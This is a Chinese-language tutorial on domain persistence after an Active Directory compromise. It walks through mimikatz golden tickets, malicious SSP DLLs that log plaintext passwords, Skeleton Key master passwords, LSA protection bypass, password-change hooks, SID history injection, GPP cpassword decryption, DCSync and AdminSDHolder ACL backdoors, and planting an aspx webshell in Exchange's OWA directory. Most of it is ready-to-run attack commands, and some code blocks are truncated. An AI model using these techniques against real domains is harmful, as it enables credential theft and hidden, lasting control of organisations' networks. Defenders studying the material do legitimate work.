域渗透-域维权
黄金票据
简介
Golden Ticket(下面称为金票)是通过伪造的TGT(TicketGranting Ticket),因为只要有了高权限的TGT,那么就可以发送给TGS换取任意服务的ST。可以说有了金票就有了域内的最高权限。
制作金票的条件:
1、域名称
2、域的SID值
3、域的KRBTGT账户密码HASH
4、伪造用户名,可以是任意的
利用过程
金票的生成需要用到krbtgt的密码HASH值,可以通过mimikatz中的
1 | lsadump::dcsync /OWA2010SP3.0day.org /user:krbtgt |
命令获取krbtgt的值。
得到KRBTGT HASH之后使用mimikatz中的kerberos::golden功能生成金票golden.kiribi,即为伪造成功的TGT。
参数说明:
/admin:伪造的用户名
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称
1 | kerberos::golden /admin:administrator /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /ticket:golden.kiribi |
通过mimikatz中的kerberos::ptt功能(Pass The Ticket)将golden.kiribi导入内存中。
1 | kerberos::purge |
此时就可以通过dir成功访问域控的共享文件夹。
1 | dir \\OWA2010SP3.0day.org\c$ |
SSP密码记录
简介
SSP:Security Support Provider,直译为安全支持提供者,又名Security Package.
简单的理解为SSP就是一个DLL,用来实现身份认证。
SSPI:Security Support Provider Interface,直译为安全支持提供程序接口,是Windows系统在执行认证操作所使用的API。
简单的理解为SSPI是SSP的API接口
LSA:Local Security Authority,用于身份认证,常见进程为lsass.exe
特别的地方在于LSA是可扩展的,在系统启动的时候SSP会被加载到进程lsass.exe中.
这相当于我们可以自定义一个dll,在系统启动的时候被加载到进程lsass.exe。
如图,这是正常的SSPI结构图,Client APP是我们自定义的dll,通过Secur32.dll可以调用 “credential capture API
“来获取LSA的信息
上图展示了攻击思路,既然可以自定义dll,那么我们就可以定制dll的功能,通过Named Pipe
和Shared Memory
直接获取lsass.exe
中的明文密码,并且能够在其更改密码时立即获得新密码。
mimilib SSP
mimikatz早已支持这个功能,而这个文件就是我们使用的时候常常忽略的mimilib.dll
利用过程
方法一
添加SSP
将mimilib.dll复制到域控
c:\windows\system32
下
设置SSP
修改域控注册表位置:
1
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages\
3.重启系统
域控重启后在c:\windows\system32
可看到新生成的文件kiwissp.log
方法二:使用API AddSecurityPackage
(1)复制文件
同方法1
(2)修改注册表
同方法1
(3)调用AddSecurityPackage
测试代码如下:
1 | #define SECURITY_WIN32 |
添加成功,如果此时输入了新的凭据(例如runas,或者用户锁屏后重新登录),将会生成文件kiwissp.log
方法2的自动化实现:
方法3:使用RPC控制lsass加载SSP
XPN开源的代码:
https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e
测试如下图
添加成功
优点:
- 不需要写注册表
- 不调用API AddSecurityPackage
- 不需要对lsass进程的内存进行写操作
- lasss进程中不存在加载的dll
Memory Updating of SSPs
mimikatz同时还支持通过内存更新ssp,这样就不需要重启再获取账户信息
需要使用mimikatz.exe,命令如下:
1 | privilege::debug |
通过修改lsass进程的内存,实现从lsass进程中提取凭据
命令执行后,如果此时输入了新的凭据(例如runas,或者用户锁屏后重新登录),将会在c:\windows\system32
下生成文件mimilsa.log
Skeleton Key
Skeleton Key是一种不需要域控重启即能生效的维持域控权限方法。
简介
Skeleton Key被安装在64位的域控服务器上
支持Windows Server2003—Windows Server2012 R2
能够让所有域用户使用同一个万能密码进行登录
现有的所有域用户使用原密码仍能继续登录
重启后失效
支持 Skeleton Key
利用过程
在域控安装Skeleton Key
mimikatz命令:
1 | privilege::debug |
域内主机使用Skeleton Key登录域控
mimikatz的默认Skeleton Key设置为mimikatz
1 | net use \\OWA2010SP3.0day.org mimikatz /user:administrator@0day.org |
Skeleton Key只是给所有账户添加了一个万能密码,无法修改账户的权限
绕过LSA Protection
配置LSA Protection
注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
新建-DWORD
值,名称为RunAsPPL
,数值为00000001
重启系统
使用mimidrv.sys绕过
mimikatz命令:
1 | privilege::debug |
绕过cmd、regedit、taskmgr
1 | privilege::debug |
Hook PasswordChangeNotify
简介
Hook PasswordChangeNotify这个概念最早是在2013年9月15日由clymb3r提出,通过Hook PasswordChangeNotify拦截修改的帐户密码。
需要了解的相关背景知识如下:
在修改域控密码时会进行如下同步操作:
a. 当修改域控密码时,LSA首先调用PasswordFileter来判断新密码是否符合密码复杂度要求
b. 如果符合,LSA接着调用PasswordChangeNotify在系统上同步更新密码
函数PasswordChangeNotify存在于rassfm.dll
rassfm.dll可理解为Remote Access Subauthentication dll,只存在于在Server系统下,xp、win7、win8等均不存在
Hook PasswordChangeNotify有如下优点:
- 不需要重启
- 不需要修改注册表
- 甚至不需要在系统放置dll
利用过程
实现Hook PasswordChangeNotify共包含两部分:Hook dll和dll注入。
https://github.com/3gstudent/Hook-PasswordChangeNotify
编译工程,生成HookPasswordChange.dll
MFC设置为在静态库中使用MFC
上传HookPasswordChangeNotify.ps1和HookPasswordChange.dll到域控主机
管理员权限执行:
1 | PowerShell.exe -ExecutionPolicy Bypass -File HookPasswordChangeNotify.ps1 |
手动修改域控密码后
在C:\Windows\Temp下可以找到passwords.txt,其中记录了新修改的密码。
自定义dll代码实现更多高级功能,如自动上传新密码。
以下链接中的代码可作为参考,其中实现了将获取的新密码上传至Http服务器
http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html
DSRM同步指定域用户
DSRM密码同步
Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步,Windows Server 2003不支持DSRM密码同步。
利用如下命令:
1 | C:\Users\Administrator>ntdsutil |
同步之后使用mimikatz查看test用户和SAM中Administrator的NTLM值。如下图所示,可以看到两个账户的NTLM值相同,说明确实同步成功了。
1 | privilege::debug |
1 | privilege::debug |
修改注册表允许DSRM账户远程访问
修改注册表 HKLM\System\CurrentControlSet\Control\Lsa 路径下的 DSRMAdminLogonBehavior
的值为2。
PS:系统默认不存在DSRMAdminLogonBehavior
,手动添加。
DSRM账户是域控的本地管理员账户,并非域的管理员帐户。所以DSRM密码同步之后并不会影响域的管理员帐户。另外,在下一次进行DSRM密码同步之前,NTLM的值一直有效。所以为了保证权限的持久化,尤其在跨国域或上百上千个域的大型内网中,最好在事件查看器的安全事件中筛选事件ID为4794的事件日志,来判断域管是否经常进行DSRM密码同步操作。
SID history
SID history是支持迁移方案的属性。每个用户帐户都有一个关联的安全标识符(SID),用于跟踪安全主体和连接到资源时的帐户及访问权限。SID历史记录允许另一个帐户的访问被有效的克隆到另一个帐户。这是非常有用的,其目的是确保用户在从一个域移动(迁移)到另一个域时能保留原有的访问权限。由于在创建新帐户时用户的SID会发生更改,旧的SID需要映射到新的帐户。当域A中的用户迁移到域B时,将在DomainB中创建新的用户帐户,并将DomainA用户的SID添加到DomainB的用户帐户的SID历史记录属性中。这样就可以确保DomainB用户仍可以访问DomainA中的资源。
Mimikatz支持SID历史注入到任何用户帐户(需要域管理员或等效的权限)。在这种情况下,攻击者创建用户帐户“test”,并将该域的默认管理员帐户“Administrator”(RID 500)添加到帐户的SID历史记录属性中。
1 | privilege::debug |
当test登录时,将对与该帐户相关联的SID进行评估,并根据这些SID来确定访问权限。由于test帐户与Administrator帐户(RID 500)相关联,因此,test帐户具有Administrator帐户的所有访问权限,包括域管理员权限。
GPO[组策略]后门
利用SYSVOL还原组策略中保存的密码
使用Group Policy Preferences配置组策略批量修改用户本地管理员密码。
开始-管理工具-组策略管理
选择域,创建GP0
设置名称为test
test-设置-右键-编辑-用户配置-首选项-控制面板设置-本地用户和组
更新,administrator(内置),设置密码
委派,设置权限
在详细一栏,可看到该策略对应的ID为{05F24259-49D8-481A-8408-567DC3155838}
组策略配置完成,域内主机重新登录,即可应用此策略
在对应的文件夹下能找到配置文件Groups.xml,具体路径如下:
1 | \\0day.org\SYSVOL\0day.org\Policies\{05F24259-49D8-481A-8408-567DC3155838}\User\Preferences\Groups |
Groups.xml内容如下:
1 | <?xml version="1.0" encoding="utf-8"?> |
cpassword项,保存的是加密后的内容"Hd/xxCN9bFRTj8C2az+0t3el0u3Dn68pZ1Sd4IHmbPw"
加密方式为AES 256,虽然目前AES 256很难被攻破,但是微软选择公开了该AES 256加密的私钥,地址如下:
https://msdn.microsoft.com/en-us/library/cc422924.aspx
借助该私钥,我们就能还原出明文
采用Chris Campbell @obscuresec开源的powershell脚本,地址如下:
该脚本可在域内主机上执行,能够自动查询共享文件夹\SYSVOL中的文件。
也可以利用如下代码进行解密
1 | #!/usr/bin/python |
通过Group Policy Management Console (GPMC) 实现计划任务的远程执行
同上创建GPO,在计划任务中添加。
第四个任务选项会在每次组策略刷新时执行。
四种计划任务的区别可参考官方文档:
对于域内的主机,可以等待90分钟使组策略自动更新,也可以在客户端执行如下命令强制刷新组策略:
1 | gpupdate /force |
DCSync
利用DCSync导出域内所有用户hash的方法
利用条件:
获得以下任一用户的权限:
- Administrators组内的用户
- Domain Admins组内的用户
- Enterprise Admins组内的用户
- 域控制器的计算机帐户
导出域内所有用户的hash:
1 | mimikatz.exe privilege::debug "lsadump::dcsync /domain:rootkit.org /all /csv" exit |
利用DCSync在域内维持权限的方法
利用条件:
获得以下任一用户的权限:
- Domain Admins组内的用户
- Enterprise Admins组内的用户
利用原理:
向域内的一个普通用户添加如下三条ACE(Access Control Entries):
- DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
- DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
- DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)
该用户即可获得利用DCSync导出域内所有用户hash的权限。
Windows系统中的ACL(Access Control List),用来表示用户(组)权限的列表。
利用方法:
利用PowerView.ps1,添加ACE的命令如下:
1 | Add-DomainObjectAcl -TargetIdentity "DC=0day,DC=org" -PrincipalIdentity webadmin -Rights DCSync -Verbose |
删除ACE的命令:
1 | Remove-DomainObjectAcl -TargetIdentity "DC=0day,DC=org" -PrincipalIdentity webadmin -Rights DCSync -Verbose |
在域内一台登录了sqladmin用户的主机上面,就能使用mimikatz的DCSync功能
1 | mimikatz.exe privilege::debug "lsadump::dcsync /domain:0day.org /all /csv" exit |
AdminSDHolder
AdminSDHolder是一个特殊的AD容器,具有一些默认安全权限,用作受保护的AD账户和组的模板
Active Directory将采用AdminSDHolder对象的ACL并定期将其应用于所有受保护的AD账户和组,以防止意外和无意的修改并确保对这些对象的访问是安全的
如果能够修改AdminSDHolder对象的ACL,那么修改的权限将自动应用于所有受保护的AD账户和组,这可以作为一个域环境权限维持的方法
向AdminSDHolder对象添加ACL
使用PowerView,添加用户dbadmin 的完全访问权限
1 | Add-ObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=rootkit,DC=org" -PrincipalIdentity dbadmin -Verbose -Rights All |
默认等待60分钟以后,dbadmin获得对所有受保护的AD账户和组的完全访问权限
可以通过修改注册表的方式设置权限推送的间隔时间,注册表位置如下:
- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters,AdminSDProtectFrequency,REG_DWORD
例如修改成等待60秒的命令如下:
1 | reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60 |
dbadmin用户可以直接访问域控。
删除AdminSDHolder中指定用户的ACL
删除用户dbadmin的完全访问权限,命令如下
1 | Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=rookit,DC=org" -PrincipalIdentity dbadmin -Rights All -Verbose |
非常规方法
若域控主机为owa主机,即exchange服务器主机,我们可以在owa目录下留一个aspx的木马。用作维持权限。
在如下目录中加入一个aspx木马。
1 | C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth |